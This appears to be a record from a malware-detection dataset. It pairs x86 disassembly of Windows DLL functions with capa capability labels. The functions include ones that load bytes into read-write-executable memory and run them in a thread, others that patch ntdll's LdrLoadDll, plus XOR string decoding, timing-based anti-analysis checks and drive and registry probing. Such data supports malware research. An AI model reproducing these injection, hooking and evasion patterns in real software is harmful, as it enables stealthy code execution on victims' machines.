joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000be60
Capabilities:
Check for time delay via gettickcount
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001452f
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
push ebx
push esi
mov eax, dword [0x1001b018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1012af74]
cmp eax, 0x927c0
jb 0x1000bea6
call esi
mov dword [0x1012af74], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
push 0x14
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 4], ebx
call fcn.1000b390
mov esi, dword [ebp - 0x1c]
test al, al
jne 0x1000beee
cmp esi, dword [ebp - 0x18]
jne 0x1000bfd5
lea eax, [ebp - 0x1c]
push eax
call fcn.1000c070
cmp dword [0x1012aecc], ebx
je 0x1000bfd5
push 0x32
lea ecx, [ebp - 0x1c]
push ecx
call fcn.1000b390
lea edx, [ebp - 0xf0]
push edx
call fcn.1000c240
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.1000cdd0
push ebx
test eax, eax
jne 0x1000bf48
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax + 4]
push 2
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
jmp 0x1000bf5f
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
push ebx
lea ecx, [ebp + ecx - 0xf0]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push ebx
sub edx, esi
push edx
push esi
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0xf0]
push eax
call fcn.1000c300
push 2
push str.image.jpeg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.100023a0
mov edx, dword [ebp - 0xf0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x34], ecx
mov dword [ebp + eax - 0xf0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 2
call fcn.1000c370
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp esi, ebx
je 0x1000bfed
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ced0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014348
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000d028
cmp byte [edi + 0x49], 0
je 0x1000d028
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000d01c
lea esi, [ebp - 0x2c]
call fcn.1000d1d0
mov dword [ebp - 4], 0
mov ebx, 0x10
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
cmp eax, ebx
jae 0x1000cf7b
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000cf80
dec eax
je 0x1000cf84
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x1000d023
call fcn.10002e10
xor al, al
jmp 0x1000d02a
mov eax, dword [ebp - 0x2c]
jmp 0x1000cf45
mov byte [edi + 0x49], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov eax, edx
cmp ecx, ebx
jae 0x1000cf93
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x1000cfb8
mov eax, edx
cmp ecx, ebx
jae 0x1000cfa3
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000d014
cmp byte [edi + 0x49], 0
je 0x1000d020
test esi, esi
jne 0x1000cf36
mov eax, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, eax
cmp edx, 8
jbe 0x1000d045
lea esi, [eax + 8]
lea eax, [ebp - 0x2c]
call fcn.10002d20
test al, al
je 0x1000cf36
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jae 0x1000cff1
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x18], ebx
jae 0x1000d00b
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x1000cf36
lea esi, [ebp - 0x2c]
call fcn.10002e10
xor al, al
jmp 0x1000d02a
lea esi, [ebp - 0x2c]
call fcn.10002e10
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10013454
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x1000d270
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x1012bc28
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x1012bc28
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x1012bc28
call esi
push 0
push 0
push 0
push 0x1000d250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d360
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCR100.dll_memset
mov edx, dword [ebp + 8]
lea ecx, [ebp + 0xc]
push ecx
push edx
lea eax, [ebp - 0x104]
push 0x100
push eax
call dword [sym.imp.MSVCR100.dll_vsprintf_s]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x1c
lea ecx, [ebp - 0x108]
push ecx
push 0x40
push 0x100
push 0x1012bc28
call esi
push 0x100
lea edx, [ebp - 0x104]
push edx
push 0x1012bc28
call sub.MSVCR100.dll_memcpy
mov ecx, dword [ebp - 0x108]
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push ecx
push 0x100
push 0x1012bc28
call esi
push 0
push 0
push 0
push 0x1000d2e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10013454
mov esp, ebp
pop ebp
ret

Function at 0x1000d420
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x1001e060
call fcn.10010270
add esp, 4
push eax
push 0
mov ecx, 0x10121028
call fcn.10007950
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10013454
mov esp, ebp
pop ebp
ret
Function at 0x1000d4e0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10018028
push 0x10013924
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x1001b018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14c], eax
push ecx
push str..PhysicalDrive_d
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push esi
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x148], edi
cmp edi, 0xffffffff
je 0x1000d692
xor eax, eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x134], esi
push esi
lea ecx, [ebp - 0x150]
push ecx
push 8
lea edx, [ebp - 0x140]
push edx
push 0xc
lea eax, [ebp - 0x138]
push eax
push 0x2d1400
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call ebx
test eax, eax
jne 0x1000d5c4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000d692
mov ecx, dword [ebp - 0x13c]
push ecx
call fcn.100133a0
mov esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x13c]
push edx
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x10
push 0
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
push esi
push 0xc
lea edx, [ebp - 0x138]
push edx
push 0x2d1400
push edi
call ebx
test eax, eax
jne 0x1000d623
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
jmp 0x1000d692
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000d610
mov dword [ebp - 4], 0
add eax, esi
push eax
push 0x100
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x1000d694
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.10013454
mov esp, ebp
pop ebp
ret
Function at 0x1000dfd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [ebp - 0xc], 0x304e25ff
mov word [ebp - 8], 0x501a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000e008
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x1012be28
call edi
mov ecx, dword [esi]
mov dword [0x1012be28], ecx
mov ecx, dword [ebp - 4]
mov dx, word [esi + 4]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push 0x1012be28
mov word [0x1012be2c], dx
call edi
lea edx, [ebp - 4]
push edx
push 0x40
push 6
push esi
call edi
mov eax, dword [ebp - 0xc]
mov cx, word [ebp - 8]
mov dword [esi], eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 6
push esi
mov word [esi + 4], cx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000e070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000e099
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call edi
mov ecx, dword [0x1012be28]
mov dword [esi], ecx
mov ecx, dword [ebp - 4]
mov dx, word [0x1012be2c]
lea eax, [ebp - 4]
push eax
push ecx
push 6
push esi
mov word [esi + 4], dx
call edi
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e1c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call fcn.10001030
mov edi, dword [0x1012c1f0]
mov edx, dword [edi]
cmp edx, edi
je 0x1000e26c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x1000e221
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x1000e200
mov edi, dword [0x1012c1f0]
not eax
cmp dword [edx + 0x18], eax
jne 0x1000e27f
cmp byte [edx + 0x1d], 0
jne 0x1000e268
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x1000e24d
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x1000e268
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x1000e241
jmp 0x1000e268
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x1000e266
cmp edx, dword [eax + 8]
jne 0x1000e266
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x1000e256
mov edx, eax
cmp edx, edi
jne 0x1000e1f0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10013454
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10013454
mov esp, ebp
pop ebp
ret

Function at 0x1000fc20
Capabilities:
Terminate process

Disassembly:
push ecx
push esi
push edi
push str.SafeExitProcess
push 0
mov ecx, 0x10121028
call fcn.10007950
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 8
push 0
call edi
push eax
call esi
jmp dword [pe_dos_header]

Function at 0x1000fc60
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, ebx
jae 0x1000fc92
jmp 0x1000fc80
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x1000fc80
pop edi
xor al, al
pop esi
pop ebp
ret
Function at 0x1000fca0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014466
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x100170e4]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x100170e0]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1000fec8
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x1000fd20
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000fdd6
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000fd63
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10010f50
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000fd90
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.100107e0
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000fdf5
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x1000fdd6
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x1000fdd6
cmp word [ebx], di
je 0x1000fec8
mov esi, dword [ebp - 0x660]
jmp 0x1000fd20
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000fe17
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10010f50
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000fe41
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.10010650
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x1000fe82
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x1000fe96
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x1000fec4
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x1000feca
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10013454
mov esp, ebp
pop ebp
ret
Function at 0x100100c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push 1
push esi
push 0x1001b060
call fcn.10010270
add esp, 4
push eax
push 0
mov ecx, 0x10121028
call fcn.10007950
add esp, 0x14
cmp byte [0x10126144], 1
jne 0x10010139
test esi, esi
je 0x10010113
cmp dword [0xe609e8], 2
push edi
jle 0x1001010b
call fcn.10010030
jmp 0x10010110
call fcn.1000d360
add esp, 4
mov eax, dword [ebp + 0x10]
test eax, eax
jle 0x10010264
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x10010264
mov esi, ebx
call fcn.1000fac0
call fcn.1000fc20
mov eax, dword [0x1012af7c]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x10010170
push 0
push 0
push 0x10
push eax
call edi
mov eax, dword [0x1012bc1c]
mov ecx, dword [str.SPLASH]
push eax
push ecx
mov dword [0x1012af7c], 0
call esi
mov eax, dword [0x1012b0a4]
test eax, eax
je 0x1001019b
push 0
push 0
push 0x10
push eax
call edi
mov edx, dword [0x1012bc1c]
mov eax, dword [str.SPLASH]
push edx
push eax
mov dword [0x1012b0a4], 0
call esi
mov eax, dword [0x1012b1cc]
test eax, eax
je 0x100101c7
push 0
push 0
push 0x10
push eax
call edi
mov ecx, dword [0x1012bc1c]
mov edx, dword [str.SPLASH]
push ecx
push edx
mov dword [0x1012b1cc], 0
call esi
mov edi, dword [ebp + 8]
mov eax, edi
sub eax, 0
je 0x100101ef
dec eax
je 0x100101e3
dec eax
jne 0x100101fb
mov eax, 0x6a
mov ecx, 0x2b39c0
jmp 0x10010201
mov eax, 0x69
mov ecx, 0x227ee6
jmp 0x10010201
mov eax, 0x67
mov ecx, 0x9c9c00
jmp 0x10010201
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
mov esi, ebx
call fcn.1000f8c0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push ebx
push 0x1000ff90
push 0
push 0
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
test eax, eax
jle 0x10010264
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x10010264
call fcn.1000fac0
call fcn.1000fc20
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010270
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x100
push 0
push 0x1012c568
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
sub ecx, 0x1012c568
mov dl, byte [ecx + eax + 0x1012c568]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x1012c568], dl
inc eax
cmp eax, 0x100
jl 0x10010292
mov eax, 0x1012c568
pop ebp
ret
Function at 0x10010370
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.100102c0
mov esi, eax
lea eax, [ebp - 0x50]
push eax
push 0xf003f
push 0
push 0x10126116
mov ecx, 9
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push closesocket
mov dword [ebp - 0x54], 0x24
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100103fb
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0x4c]
push edx
push eax
push eax
mov eax, dword [ebp - 0x50]
push str.WindowID
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x28]
test eax, eax
je 0x1001040e
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
push ecx
push edx
push 1
push 0
push str.WindowID
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x50]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x28]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10013454
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x4c]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10010431
test al, al
je 0x1001042d
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10010431
add ecx, 2
add edx, 2
test al, al
jne 0x10010411
xor eax, eax
jmp 0x10010436
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100103f1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
lea eax, [ebp - 0x4c]
pop esi
call fcn.10013454
mov esp, ebp
pop ebp
ret

Function at 0x10010450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.100102c0
mov esi, eax
lea eax, [ebp - 0x2c]
push eax
push 0xf003f
push 0
push 0x10126116
mov ecx, 9
lea edi, [ebp - 0x28]
push closesocket
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100104b4
mov edx, dword [ebp - 0x2c]
push 0x24
lea ecx, [ebp - 0x28]
push ecx
push 1
push eax
push str.WindowID
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10013454
mov esp, ebp
pop ebp
ret